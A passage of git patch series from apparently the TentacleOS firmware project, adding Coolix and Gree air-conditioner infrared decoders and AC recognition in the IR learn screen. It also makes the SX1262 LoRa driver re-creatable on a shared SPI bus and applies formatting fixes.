-54,6 +54,20 @@ extern "C" { */ size_t ir_ac_coolix_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max); +/** + * @brief Decode RMT symbols into a Coolix AC state. + * + * Validates the header and the three byte/complement pairs before extracting + * power, mode, temperature and fan. + * + * @param[in] symbols RMT symbol buffer. Must not be NULL. + * @param[in] count Number of symbols. + * @param[out] out_state Destination for the decoded state. Must not be NULL. + * + * @return true if the frame is a valid Coolix state, false otherwise. + */ +bool ir_ac_coolix_decode(const rmt_symbol_word_t *symbols, size_t count, ir_ac_state_t *out_state); + #ifdef __cplusplus } #endif diff --git a/firmware_p4/components/Service/ir/ir_ac_coolix.c b/firmware_p4/components/Service/ir/ir_ac_coolix.c index 1cb81764d..befebc85a 100644 --- a/firmware_p4/components/Service/ir/ir_ac_coolix.c +++ b/firmware_p4/components/Service/ir/ir_ac_coolix.c @@ -15,8 +15,12 @@ #include "ir_ac_coolix.h" +#include "esp_log.h" + #include "ir_protocol.h" +static const char *TAG = "IR_AC_COOLIX"; + #define COOLIX_DEFAULT_STATE 0xB21FC8u #define COOLIX_OFF_STATE 0xB27BE0u @@ -42,15 +46,18 @@ #define COOLIX_TEMP_MAX 30 #define COOLIX_FAN_TEMP_CODE 0xEu -#define COOLIX_WIRE_BITS 48 +#define COOLIX_WIRE_BITS 48 +#define COOLIX_MIN_SYMBOLS 49 static const uint8_t COOLIX_TEMP_MAP[] = { 0x0, 0x1, 0x3, 0x2, 0x6, 0x7, 0x5, 0x4, 0xC, 0xD, 0x9, 0x8, 0xA, 0xB}; #define COOLIX_TEMP_MAP_COUNT (sizeof(COOLIX_TEMP_MAP) / sizeof(COOLIX_TEMP_MAP[0])) size_t ir_ac_coolix_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max) { - if (state == NULL || symbols == NULL || max == 0) + if (state == NULL || symbols == NULL || max == 0) { + ESP_LOGE(TAG, "encode: invalid arguments"); return 0; + } uint32_t raw; if (!state->power) { @@ -132,3 +139,94 @@ size_t ir_ac_coolix_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbol }; return ir_encode_pulse_distance(symbols, wire, COOLIX_WIRE_BITS, &cfg); } + +bool ir_ac_coolix_decode(const rmt_symbol_word_t *symbols, size_t count, ir_ac_state_t *out_state) { + if (symbols == NULL || count == 0 || out_state == NULL) { + ESP_LOGE(TAG, "decode: invalid arguments"); + return false; + } + if (count < COOLIX_MIN_SYMBOLS) + return false; + if (!ir_match(symbols[0].duration0, COOLIX_HDR_MARK) || + !ir_match(symbols[0].duration1, COOLIX_HDR_SPACE)) + return false; + + ir_pulse_distance_cfg_t cfg = { + .one_space = COOLIX_ONE_SPACE, + .zero_space = COOLIX_ZERO_SPACE, + .msb_first = true, + }; + uint64_t wire = ir_decode_pulse_distance(symbols, 1, COOLIX_WIRE_BITS, &cfg); + + uint8_t byte2 = (wire >> 40) & 0xFF; + uint8_t byte2_inv = (wire >> 32) & 0xFF; + uint8_t byte1 = (wire >> 24) & 0xFF; + uint8_t byte1_inv = (wire >> 16) & 0xFF; + uint8_t byte0 = (wire >> 8) & 0xFF; + uint8_t byte0_inv = wire & 0xFF; + + if ((uint8_t)~byte2 != byte2_inv || (uint8_t)~byte1 != byte1_inv || (uint8_t)~byte0 != byte0_inv) + return false; + + uint32_t raw = ((uint32_t)byte2 << 16) | ((uint32_t)byte1 << 8) | byte0; + + out_state->protocol = IR_AC_PROTO_COOLIX; + + if (raw == COOLIX_OFF_STATE) { + out_state->power = false; + out_state->mode = IR_AC_MODE_COOL; + out_state->temp_c = COOLIX_TEMP_MIN; + out_state->fan = IR_AC_FAN_AUTO; + return true; + } + out_state->power = true; + + uint8_t mode_code = (raw >> COOLIX_MODE_SHIFT) & COOLIX_MODE_MASK; + uint8_t temp_code = (raw >> COOLIX_TEMP_SHIFT) & COOLIX_TEMP_MASK; + uint8_t fan_code = (raw >> COOLIX_FAN_SHIFT) & COOLIX_FAN_MASK; + + if (mode_code == COOLIX_MODE_DRY && temp_code == COOLIX_FAN_TEMP_CODE) { + out_state->mode = IR_AC_MODE_FAN; + } else { + switch (mode_code) { + case COOLIX_MODE_COOL: + out_state->mode = IR_AC_MODE_COOL; + break; + case COOLIX_MODE_DRY: + out_state->mode = IR_AC_MODE_DRY; + break; + case COOLIX_MODE_HEAT: + out_state->mode = IR_AC_MODE_HEAT; + break; + case COOLIX_MODE_AUTO: + default: + out_state->mode = IR_AC_MODE_AUTO; + break; + } + } + + uint8_t temp = COOLIX_TEMP_MIN; + for (size_t i = 0; i < COOLIX_TEMP_MAP_COUNT; i++) { + if (COOLIX_TEMP_MAP[i] == temp_code) { + temp = (uint8_t)(COOLIX_TEMP_MIN + i); + break; + } + } + out_state->temp_c = temp; + + switch (fan_code) { + case COOLIX_FAN_MIN: + out_state->fan = IR_AC_FAN_LOW; + break; + case COOLIX_FAN_MED: + out_state->fan = IR_AC_FAN_MED; + break; + case COOLIX_FAN_MAX: + out_state->fan = IR_AC_FAN_HIGH; + break; + default: + out_state->fan = IR_AC_FAN_AUTO; + break; + } + return true; +} From b412bed0f5fa40a2cbd5af3a521ea168cce77ca7 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Tue, 2 Jun 2026 21:55:05 -0300 Subject: [PATCH 033/572] feat(ir): decode Gree AC frames --- .../Service/ir/include/ir_ac_gree.h | 14 ++ .../components/Service/ir/ir_ac_gree.c | 120 +++++++++++++++--- 2 files changed, 117 insertions(+), 17 deletions(-) diff --git a/firmware_p4/components/Service/ir/include/ir_ac_gree.h b/firmware_p4/components/Service/ir/include/ir_ac_gree.h index dd379cb91..005ff9370 100644 --- a/firmware_p4/components/Service/ir/include/ir_ac_gree.h +++ b/firmware_p4/components/Service/ir/include/ir_ac_gree.h @@ -66,6 +66,20 @@ extern "C" { */ size_t ir_ac_gree_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max); +/** + * @brief Decode RMT symbols into a Gree AC state. + * + * Validates the header and the Kelvinator block checksum before extracting + * power, mode, temperature and fan. + * + * @param[in] symbols RMT symbol buffer. Must not be NULL. + * @param[in] count Number of symbols. + * @param[out] out_state Destination for the decoded state. Must not be NULL. + * + * @return true if the frame is a valid Gree state, false otherwise. + */ +bool ir_ac_gree_decode(const rmt_symbol_word_t *symbols, size_t count, ir_ac_state_t *out_state); + #ifdef __cplusplus } #endif diff --git a/firmware_p4/components/Service/ir/ir_ac_gree.c b/firmware_p4/components/Service/ir/ir_ac_gree.c index 6370490a5..8f2bcaa18 100644 --- a/firmware_p4/components/Service/ir/ir_ac_gree.c +++ b/firmware_p4/components/Service/ir/ir_ac_gree.c @@ -15,8 +15,12 @@ #include "ir_ac_gree.h" +#include "esp_log.h" + #include "ir_protocol.h" +static const char *TAG = "IR_AC_GREE"; + #define GREE_MODE_AUTO 0 #define GREE_MODE_COOL 1 #define GREE_MODE_DRY 2 @@ -34,20 +38,16 @@ #define GREE_CHECKSUM_START 10 #define GREE_BLOCK_BITS 32 +#define GREE_MIN_SYMBOLS 69 -static size_t append_footer(rmt_symbol_word_t *symbols, size_t idx, size_t max) { - if (idx + 1 > max) - return 0; - symbols[idx].duration0 = GREE_BIT_MARK; - symbols[idx].level0 = 1; - symbols[idx].duration1 = GREE_MSG_SPACE; - symbols[idx].level1 = 0; - return idx + 1; -} +static uint8_t gree_checksum(const uint8_t *bytes); +static size_t append_footer(rmt_symbol_word_t *symbols, size_t idx, size_t max); size_t ir_ac_gree_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max) { - if (state == NULL || symbols == NULL || max == 0) + if (state == NULL || symbols == NULL || max == 0) { + ESP_LOGE(TAG, "encode: invalid arguments"); return 0; + } uint8_t state_bytes[GREE_STATE_LEN] = {0x00, 0x09, 0x20, 0x50, 0x00, 0x20, 0x00, 0x00}; @@ -99,13 +99,8 @@ size_t ir_ac_gree_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, state_bytes[0] = (mode_code & 0x7) | ((state->power ? 1u : 0u) << 3) | ((fan_code & 0x3) << 4); state_bytes[1] = (state_bytes[1] & 0xF0) | ((uint8_t)(temp - GREE_TEMP_MIN) & 0x0F); - uint8_t sum = GREE_CHECKSUM_START; - for (size_t i = 0; i < 4; i++) - sum += state_bytes[i] & 0x0F; - for (size_t i = 4; i < GREE_STATE_LEN - 1; i++) - sum += state_bytes[i] >> 4; - sum &= 0x0F; - state_bytes[GREE_STATE_LEN - 1] = (state_bytes[GREE_STATE_LEN - 1] & 0x0F) | (uint8_t)(sum << 4); + state_bytes[GREE_STATE_LEN - 1] = + (state_bytes[GREE_STATE_LEN - 1] & 0x0F) | (uint8_t)(gree_checksum(state_bytes) << 4); uint32_t block1 = (uint32_t)state_bytes[0] | ((uint32_t)state_bytes[1] << 8) | ((uint32_t)state_bytes[2] << 16) | ((uint32_t)state_bytes[3] << 24); @@ -153,3 +148,94 @@ size_t ir_ac_gree_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, return idx; } + +bool ir_ac_gree_decode(const rmt_symbol_word_t *symbols, size_t count, ir_ac_state_t *out_state) { + if (symbols == NULL || count == 0 || out_state == NULL) { + ESP_LOGE(TAG, "decode: invalid arguments"); + return false; + } + if (count < GREE_MIN_SYMBOLS) + return false; + if (!ir_match(symbols[0].duration0, GREE_HDR_MARK) || + !ir_match(symbols[0].duration1, GREE_HDR_SPACE)) + return false; + + ir_pulse_distance_cfg_t cfg = { + .one_space = GREE_ONE_SPACE, + .zero_space = GREE_ZERO_SPACE, + .msb_first = false, + }; + uint32_t block1 = (uint32_t)ir_decode_pulse_distance(symbols, 1, GREE_BLOCK_BITS, &cfg); + size_t block2_offset = 1 + GREE_BLOCK_BITS + GREE_BLOCK_FOOTER_BITS + 1; + uint32_t block2 = + (uint32_t)ir_decode_pulse_distance(symbols, block2_offset, GREE_BLOCK_BITS, &cfg); + + uint8_t bytes[GREE_STATE_LEN]; + for (size_t i = 0; i < 4; i++) + bytes[i] = (block1 >> (i * 8)) & 0xFF; + for (size_t i = 0; i < 4; i++) + bytes[i + 4] = (block2 >> (i * 8)) & 0xFF; + + if (gree_checksum(bytes) != (bytes[GREE_STATE_LEN - 1] >> 4)) + return false; + + out_state->protocol = IR_AC_PROTO_GREE; + out_state->power = (bytes[0] >> 3) & 1; + + switch (bytes[0] & 0x7) { + case GREE_MODE_COOL: + out_state->mode = IR_AC_MODE_COOL; + break; + case GREE_MODE_DRY: + out_state->mode = IR_AC_MODE_DRY; + break; + case GREE_MODE_FAN: + out_state->mode = IR_AC_MODE_FAN; + break; + case GREE_MODE_HEAT: + out_state->mode = IR_AC_MODE_HEAT; + break; + case GREE_MODE_AUTO: + default: + out_state->mode = IR_AC_MODE_AUTO; + break; + } + + out_state->temp_c = (uint8_t)((bytes[1] & 0x0F) + GREE_TEMP_MIN); + + switch ((bytes[0] >> 4) & 0x3) { + case GREE_FAN_MIN: + out_state->fan = IR_AC_FAN_LOW; + break; + case GREE_FAN_MED: + out_state->fan = IR_AC_FAN_MED; + break; + case GREE_FAN_MAX: + out_state->fan = IR_AC_FAN_HIGH; + break; + case GREE_FAN_AUTO: + default: + out_state->fan = IR_AC_FAN_AUTO; + break; + } + return true; +} + +static uint8_t gree_checksum(const uint8_t *bytes) { + uint8_t sum = GREE_CHECKSUM_START; + for (size_t i = 0; i < 4; i++) + sum += bytes[i] & 0x0F; + for (size_t i = 4; i < GREE_STATE_LEN - 1; i++) + sum += bytes[i] >> 4; + return sum & 0x0F; +} + +static size_t append_footer(rmt_symbol_word_t *symbols, size_t idx, size_t max) { + if (idx + 1 > max) + return 0; + symbols[idx].duration0 = GREE_BIT_MARK; + symbols[idx].level0 = 1; + symbols[idx].duration1 = GREE_MSG_SPACE; + symbols[idx].level1 = 0; + return idx + 1; +} From e4478fbff3948f707ee278f3587cd6580fbf55fc Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Tue, 2 Jun 2026 21:55:13 -0300 Subject: [PATCH 034/572] fix(ir): guard remote LG decoder against the 0x88 AC signature --- firmware_p4/components/Service/ir/include/ir_protocol_lg.h | 3 +++ firmware_p4/components/Service/ir/ir_protocol_lg.c | 3 +++ 2 files changed, 6 insertions(+) diff --git a/firmware_p4/components/Service/ir/include/ir_protocol_lg.h b/firmware_p4/components/Service/ir/include/ir_protocol_lg.h index 7699b96fe..0ae9b30ef 100644 --- a/firmware_p4/components/Service/ir/include/ir_protocol_lg.h +++ b/firmware_p4/components/Service/ir/include/ir_protocol_lg.h @@ -73,6 +73,9 @@ extern "C" { /** @brief Bit mask for the 16-bit command field in the LG frame word. */ #define LG_CMD_MASK 0xFFFF +/** @brief Address byte that marks an LG air-conditioner frame, decoded by the AC layer. */ +#define LG_AC_SIGNATURE 0x88 + /** * @brief Decode an LG IR frame from RMT symbols. * diff --git a/firmware_p4/components/Service/ir/ir_protocol_lg.c b/firmware_p4/components/Service/ir/ir_protocol_lg.c index 71e9e6443..f2d57e416 100644 --- a/firmware_p4/components/Service/ir/ir_protocol_lg.c +++ b/firmware_p4/components/Service/ir/ir_protocol_lg.c @@ -57,6 +57,9 @@ bool ir_protocol_lg_decode(const rmt_symbol_word_t *symbols, size_t count, ir_da uint16_t cmd = (raw >> LG_CMD_SHIFT) & LG_CMD_MASK; uint8_t chk = raw & LG_NIBBLE_MASK; + if (addr == LG_AC_SIGNATURE) + return false; + if (chk != checksum(cmd)) return false; From b45b786dced33761518a9e5787049695264f2de2 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Tue, 2 Jun 2026 21:55:25 -0300 Subject: [PATCH 035/572] feat(ir): recognize received AC frames in the learn screen --- .../ui/screens/infrared/ir_receive_ui.c | 68 ++++++++++++++++--- 1 file changed, 58 insertions(+), 10 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c b/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c index dcecd5acc..b1fb0244c 100644 --- a/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c +++ b/firmware_p4/components/Applications/ui/screens/infrared/ir_receive_ui.c @@ -25,6 +25,7 @@ #include "buttons_gpio.h" #include "ir.h" +#include "ir_ac.h" #include "ir_file.h" #include "ir_protocol.h" #include "keyboard_ui.h" @@ -70,7 +71,11 @@ static bool s_btn_ok_last = false; static TaskHandle_t s_rx_task_handle = NULL; static volatile bool s_is_rx_done = false; static volatile bool s_is_rx_success = false; +static volatile bool s_is_rx_ac = false; static ir_data_t s_rx_result; +static ir_ac_state_t s_rx_ac_result; +static rmt_symbol_word_t s_rx_ac_raw[IR_RMT_MEM_SYMBOLS]; +static size_t s_rx_ac_raw_count = 0; static void rx_task(void *pvParameters); static void on_save_result(bool is_confirm); @@ -156,7 +161,24 @@ void ui_ir_receive_open(void) { static void rx_task(void *pvParameters) { (void)pvParameters; ir_rx_init(); - s_is_rx_success = ir_receive(&s_rx_result, RX_TIMEOUT_MS); + + s_is_rx_ac = false; + esp_err_t ret = ir_receive(&s_rx_result, RX_TIMEOUT_MS); + + if (ret == ESP_OK) { + s_is_rx_success = true; + } else if (ret == ESP_ERR_NOT_FOUND) { + if (ir_get_last_raw(s_rx_ac_raw, IR_RMT_MEM_SYMBOLS, &s_rx_ac_raw_count) == ESP_OK && + ir_ac_decode(s_rx_ac_raw, s_rx_ac_raw_count, &s_rx_ac_result)) { + s_is_rx_success = true; + s_is_rx_ac = true; + } else { + s_is_rx_success = false; + } + } else { + s_is_rx_success = false; + } + s_is_rx_done = true; s_rx_task_handle = NULL; vTaskDelete(NULL); @@ -181,15 +203,27 @@ static void on_name_entered(const char *text, void *user_data) { ir_file_t file; ir_file_init(&file); - ir_file_add_parsed(&file, text, &s_rx_result); + + const char *proto; + if (s_is_rx_ac) { + ir_file_add_raw_cfg_t cfg = { + .name = text, + .symbols = s_rx_ac_raw, + .count = s_rx_ac_raw_count, + .freq = ir_ac_carrier_freq(s_rx_ac_result.protocol), + }; + ir_file_add_raw(&file, &cfg); + proto = ir_ac_protocol_name(s_rx_ac_result.protocol); + } else { + ir_file_add_parsed(&file, text, &s_rx_result); + proto = ir_protocol_name(s_rx_result.protocol); + } char buf[IR_BUF_MAX_LEN]; size_t len = ir_file_to_string(&file, buf, sizeof(buf)); bool is_saved = false; if (len > 0) { - const char *proto = ir_protocol_name(s_rx_result.protocol); - char dir[IR_DIR_MAX_LEN]; snprintf(dir, sizeof(dir), TOS_PATH_IR "/%.64s", proto); storage_mkdir_recursive(dir); @@ -246,12 +280,26 @@ static void show_result(void) { lv_label_set_text(s_status_label, "Signal captured!"); char buf[IR_DETAIL_BUF_LEN]; - snprintf(buf, - sizeof(buf), - "Protocol: %s\nAddress: 0x%08lX\nCommand: 0x%08lX", - ir_protocol_name(s_rx_result.protocol), - (unsigned long)s_rx_result.address, - (unsigned long)s_rx_result.command); + if (s_is_rx_ac) { + if (s_rx_ac_result.power) { + snprintf(buf, + sizeof(buf), + "AC: %s\n%s %dC %s", + ir_ac_protocol_name(s_rx_ac_result.protocol), + ir_ac_mode_name(s_rx_ac_result.mode), + (int)s_rx_ac_result.temp_c, + ir_ac_fan_name(s_rx_ac_result.fan)); + } else { + snprintf(buf, sizeof(buf), "AC: %s\nOff", ir_ac_protocol_name(s_rx_ac_result.protocol)); + } + } else { + snprintf(buf, + sizeof(buf), + "Protocol: %s\nAddress: 0x%08lX\nCommand: 0x%08lX", + ir_protocol_name(s_rx_result.protocol), + (unsigned long)s_rx_result.address, + (unsigned long)s_rx_result.command); + } lv_label_set_text(s_detail_label, buf); msgbox_open(LV_SYMBOL_OK, "Save signal?", "Yes", "No", on_ask_save); From ae14a82a167c7f35894715807599834b44a7f593 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Tue, 2 Jun 2026 21:55:45 -0300 Subject: [PATCH 036/572] build(ir): register AC protocol sources --- firmware_p4/components/Service/CMakeLists.txt | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/firmware_p4/components/Service/CMakeLists.txt b/firmware_p4/components/Service/CMakeLists.txt index d8ca1c0c1..ece76535c 100644 --- a/firmware_p4/components/Service/CMakeLists.txt +++ b/firmware_p4/components/Service/CMakeLists.txt @@ -38,6 +38,10 @@ idf_component_register(SRCS "ir/ir_ac.c" "ir/ir_ac_coolix.c" "ir/ir_ac_gree.c" + "ir/ir_ac_lg.c" + "ir/ir_ac_midea.c" + "ir/ir_ac_toshiba.c" + "ir/ir_ac_haier.c" "ir/ir_protocol.c" "ir/ir_protocol_nec.c" "ir/ir_protocol_samsung.c" From 758defdbed8fe2963fdfb2affc5575d819e3d2be Mon Sep 17 00:00:00 2001 From: Yajat Narayan Date: Wed, 3 Jun 2026 19:49:47 -0500 Subject: [PATCH 037/572] fix(sx1262): make HAL re-creatable and tolerate shared SPI3 bus Adds sx1262_hal_destroy() and sx1262_deinit() so the driver can be torn down and rebuilt within a single boot. Previously, a second call to sx1262_hal_create() early-returned with the stale SPI device handle, mutex, and GPIO state from the first run, causing subsequent status reads to return corrupted values (e.g. 0x15 / chip_mode 1, an impossible value) even though the chip itself was healthy. Also fixes a pre-existing bus-ownership bug: kernel_init() initializes SPI3 first via spi_init() because ST7789 shares the bus, so the sx1262_hal_create() call to spi_bus_initialize() was returning ESP_ERR_INVALID_STATE and treating it as fatal. Both error-cleanup paths also called spi_bus_free(SPI3_HOST), which would have torn down the bus ST7789 was actively using. Changes: - sx1262_hal_create(): treat ESP_ERR_INVALID_STATE from spi_bus_initialize as success; drop spi_bus_free() from error paths. - sx1262_hal_destroy(): new function that removes the SX1262 SPI device, deletes the mutex, and clears is_initialized. SPI3 bus left intact. - sx1262_deinit(): new function that stops the IRQ task (if running), calls sx1262_hal_destroy(), and clears s_is_initialized. Safe no-op when nothing is initialized. - meshtastic_app_start(): calls sx1262_deinit() before sx1262_hal_create() so re-entry rebuilds the SPI device from scratch. Co-Authored-By: Claude Opus 4.7 --- .../LoRa/meshtastic/meshtastic_app.c | 2 ++ .../Drivers/sx1262/include/sx1262.h | 13 +++++++++ .../Drivers/sx1262/include/sx1262_hal.h | 13 +++++++++ .../components/Drivers/sx1262/sx1262.c | 7 +++++ .../components/Drivers/sx1262/sx1262_hal.c | 28 +++++++++++++++++-- 5 files changed, 61 insertions(+), 2 deletions(-) diff --git a/firmware_p4/components/Applications/LoRa/meshtastic/meshtastic_app.c b/firmware_p4/components/Applications/LoRa/meshtastic/meshtastic_app.c index 32dbc5c76..c2b2bc196 100644 --- a/firmware_p4/components/Applications/LoRa/meshtastic/meshtastic_app.c +++ b/firmware_p4/components/Applications/LoRa/meshtastic/meshtastic_app.c @@ -66,6 +66,8 @@ esp_err_t meshtastic_app_start(void) { mt_region_t region = mt_region_current(); uint32_t freq_hz = mt_region_freq_for_channel(region, MT_PRIMARY_CHANNEL, p_info->bw_hz); + sx1262_deinit(); + sx1262_config_t cfg = {0}; ret = sx1262_hal_create(&cfg.hal); if (ret != ESP_OK) { diff --git a/firmware_p4/components/Drivers/sx1262/include/sx1262.h b/firmware_p4/components/Drivers/sx1262/include/sx1262.h index ff5358321..d83246598 100644 --- a/firmware_p4/components/Drivers/sx1262/include/sx1262.h +++ b/firmware_p4/components/Drivers/sx1262/include/sx1262.h @@ -35,6 +35,19 @@ extern "C" { */ esp_err_t sx1262_init(const sx1262_config_t *config); +/** + * @brief Tear down the SX1262 driver so the next sx1262_init() starts clean. + * + * Stops the IRQ task (if running), destroys the HAL (removes the SPI device + * and mutex; SPI3 bus is preserved for shared peripherals), and clears + * driver state. + * + * Safe to call when nothing is initialized — no-op. + * + * @return ESP_OK on success. + */ +esp_err_t sx1262_deinit(void); + /** * @brief Start the IRQ processing task. * diff --git a/firmware_p4/components/Drivers/sx1262/include/sx1262_hal.h b/firmware_p4/components/Drivers/sx1262/include/sx1262_hal.h index d76d8c5c4..2887d3250 100644 --- a/firmware_p4/components/Drivers/sx1262/include/sx1262_hal.h +++ b/firmware_p4/components/Drivers/sx1262/include/sx1262_hal.h @@ -132,6 +132,19 @@ typedef struct sx1262_hal { */ esp_err_t sx1262_hal_create(sx1262_hal_t *out_hal); +/** + * @brief Tear down the HAL so the next sx1262_hal_create() rebuilds it. + * + * Removes the SX1262 SPI device, deletes the SPI mutex, and clears the + * internal initialized flag. The SPI3 bus itself is left initialized + * because it is shared with the ST7789 display. + * + * Safe to call when the HAL is not initialized — returns ESP_OK as a no-op. + * + * @return ESP_OK. + */ +esp_err_t sx1262_hal_destroy(void); + #ifdef __cplusplus } #endif diff --git a/firmware_p4/components/Drivers/sx1262/sx1262.c b/firmware_p4/components/Drivers/sx1262/sx1262.c index 32789b6ad..9e8db25bc 100644 --- a/firmware_p4/components/Drivers/sx1262/sx1262.c +++ b/firmware_p4/components/Drivers/sx1262/sx1262.c @@ -402,6 +402,13 @@ void sx1262_stop(void) { ESP_LOGI(TAG, "Stopped"); } +esp_err_t sx1262_deinit(void) { + sx1262_stop(); + esp_err_t ret = sx1262_hal_destroy(); + s_is_initialized = false; + return ret; +} + esp_err_t sx1262_set_callbacks(const sx1262_callbacks_t *cbs) { if (cbs == NULL) { return ESP_ERR_INVALID_ARG; diff --git a/firmware_p4/components/Drivers/sx1262/sx1262_hal.c b/firmware_p4/components/Drivers/sx1262/sx1262_hal.c index afd73ef90..d541a43e7 100644 --- a/firmware_p4/components/Drivers/sx1262/sx1262_hal.c +++ b/firmware_p4/components/Drivers/sx1262/sx1262_hal.c @@ -202,6 +202,10 @@ esp_err_t sx1262_hal_create(sx1262_hal_t *out_hal) { }; ret = spi_bus_initialize(SPI_HOST_ID, &bus_cfg, SPI_DMA_CH_AUTO); + if (ret == ESP_ERR_INVALID_STATE) { + /* Bus already initialized by another driver (e.g. ST7789 via kernel spi_init). */ + ret = ESP_OK; + } if (ret != ESP_OK) { ESP_LOGE(TAG, "SPI bus init failed: %s", esp_err_to_name(ret)); return ret; @@ -217,7 +221,6 @@ esp_err_t sx1262_hal_create(sx1262_hal_t *out_hal) { ret = spi_bus_add_device(SPI_HOST_ID, &dev_cfg, &s_ctx.spi); if (ret != ESP_OK) { ESP_LOGE(TAG, "SPI add device failed: %s", esp_err_to_name(ret)); - spi_bus_free(SPI_HOST_ID); return ret; } @@ -226,7 +229,7 @@ esp_err_t sx1262_hal_create(sx1262_hal_t *out_hal) { if (s_ctx.spi_mutex == NULL) { ESP_LOGE(TAG, "Failed to create SPI mutex"); spi_bus_remove_device(s_ctx.spi); - spi_bus_free(SPI_HOST_ID); + s_ctx.spi = NULL; return ESP_ERR_NO_MEM; } @@ -254,3 +257,24 @@ esp_err_t sx1262_hal_create(sx1262_hal_t *out_hal) { return ESP_OK; } + +esp_err_t sx1262_hal_destroy(void) { + if (!s_ctx.is_initialized) { + return ESP_OK; + } + + if (s_ctx.spi != NULL) { + spi_bus_remove_device(s_ctx.spi); + s_ctx.spi = NULL; + } + if (s_ctx.spi_mutex != NULL) { + vSemaphoreDelete(s_ctx.spi_mutex); + s_ctx.spi_mutex = NULL; + } + + /* SPI3 bus is shared with ST7789 display; do not free it here. */ + + s_ctx.is_initialized = false; + ESP_LOGI(TAG, "HAL destroyed (SPI3 bus left intact for shared peripherals)"); + return ESP_OK; +} From cb2e03072383ca4d610932a57bbefba1fa8390da Mon Sep 17 00:00:00 2001 From: Yajat Narayan Date: Wed, 3 Jun 2026 22:10:22 -0500 Subject: [PATCH 038/572] style(format): apply clang-format to c5_flasher and spi_bridge Pre-existing clang-format violations on dev that fail the CI format check (tools/format.sh --check runs over the whole tree). Reformatted with the CI-pinned clang-format 22.1.3; cosmetic only, no logic changes. Co-Authored-By: Claude Opus 4.8 --- .../components/Service/spi_bridge/spi_bridge.c | 9 +++------ .../components/Service/c5_flasher/c5_flasher.c | 16 ++++++++++------ 2 files changed, 13 insertions(+), 12 deletions(-) diff --git a/firmware_c5/components/Service/spi_bridge/spi_bridge.c b/firmware_c5/components/Service/spi_bridge/spi_bridge.c index 7a1f6ad5a..80f47af10 100644 --- a/firmware_c5/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_c5/components/Service/spi_bridge/spi_bridge.c @@ -226,7 +226,7 @@ static void bridge_task(void *pvParameters) { spi_status_t status = SPI_STATUS_OK; uint8_t resp_payload[SPI_MAX_PAYLOAD]; uint8_t resp_len = 0; - bool tx_ready = false; // set when the case already built a complete tx_buf frame + bool tx_ready = false; // set when the case already built a complete tx_buf frame size_t tx_size = SPI_FRAME_SIZE; // bytes the master will clock for the response uint16_t cmd = spi_header_cmd(header); @@ -295,11 +295,8 @@ static void bridge_task(void *pvParameters) { while ((w = stream_pop_into(recs, batch_len, cap)) > 0) batch_len += w; - spi_header_t stream_header = {.sync = SPI_SYNC_BYTE, - .type = SPI_TYPE_STREAM, - .category = 0, - .op = 0, - .length = 0}; + spi_header_t stream_header = { + .sync = SPI_SYNC_BYTE, .type = SPI_TYPE_STREAM, .category = 0, .op = 0, .length = 0}; memcpy(tx_buf, &stream_header, sizeof(stream_header)); tx_buf[sizeof(spi_header_t)] = (uint8_t)(batch_len & 0xFF); tx_buf[sizeof(spi_header_t) + 1] = (uint8_t)((batch_len >> 8) & 0xFF); diff --git a/firmware_p4/components/Service/c5_flasher/c5_flasher.c b/firmware_p4/components/Service/c5_flasher/c5_flasher.c index ad9610870..64762bc4d 100644 --- a/firmware_p4/components/Service/c5_flasher/c5_flasher.c +++ b/firmware_p4/components/Service/c5_flasher/c5_flasher.c @@ -26,10 +26,10 @@ static const char *TAG = "C5_FLASHER"; -#define FLASHER_UART UART_NUM_1 -#define FLASHER_INIT_BAUD 115200 -#define FLASHER_FAST_BAUD 921600 -#define FLASH_BLOCK_SIZE 1024 +#define FLASHER_UART UART_NUM_1 +#define FLASHER_INIT_BAUD 115200 +#define FLASHER_FAST_BAUD 921600 +#define FLASH_BLOCK_SIZE 1024 // C5 flash layout (matches firmware_c5 partition table / flash_args). #define C5_BOOTLOADER_OFFSET 0x2000 @@ -106,9 +106,13 @@ esp_err_t c5_flasher_update(const uint8_t *bin_data, uint32_t bin_size) { } else { #if C5_FIRMWARE_EMBEDDED const c5_image_t images[] = { - {"bootloader", C5_BOOTLOADER_OFFSET, c5_bootloader_start, + {"bootloader", + C5_BOOTLOADER_OFFSET, + c5_bootloader_start, (uint32_t)(c5_bootloader_end - c5_bootloader_start)}, - {"partition-table", C5_PARTITION_OFFSET, c5_partition_start, + {"partition-table", + C5_PARTITION_OFFSET, + c5_partition_start, (uint32_t)(c5_partition_end - c5_partition_start)}, {"app", C5_APP_OFFSET, c5_app_start, (uint32_t)(c5_app_end - c5_app_start)}, }; From 3f14ca6f88dc32b3836ce406f0491ac44bd628be Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 4 Jun 2026 01:04:01 -0300 Subject: [PATCH 039/572] feat(ir): new protocol NEC42 --- .../Service/ir/include/ir_protocol_nec42.h | 76 ++++++++++++++++++ .../components/Service/ir/ir_protocol_nec42.c | 77 +++++++++++++++++++ 2 files changed, 153 insertions(+) create mode 100644 firmware_p4/components/Service/ir/include/ir_protocol_nec42.h create mode 100644 firmware_p4/components/Service/ir/ir_protocol_nec42.c diff --git a/firmware_p4/components/Service/ir/include/ir_protocol_nec42.h b/firmware_p4/components/Service/ir/include/ir_protocol_nec42.h new file mode 100644 index 000000000..344ad0199 --- /dev/null +++ b/firmware_p4/components/Service/ir/include/ir_protocol_nec42.h @@ -0,0 +1,76 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the 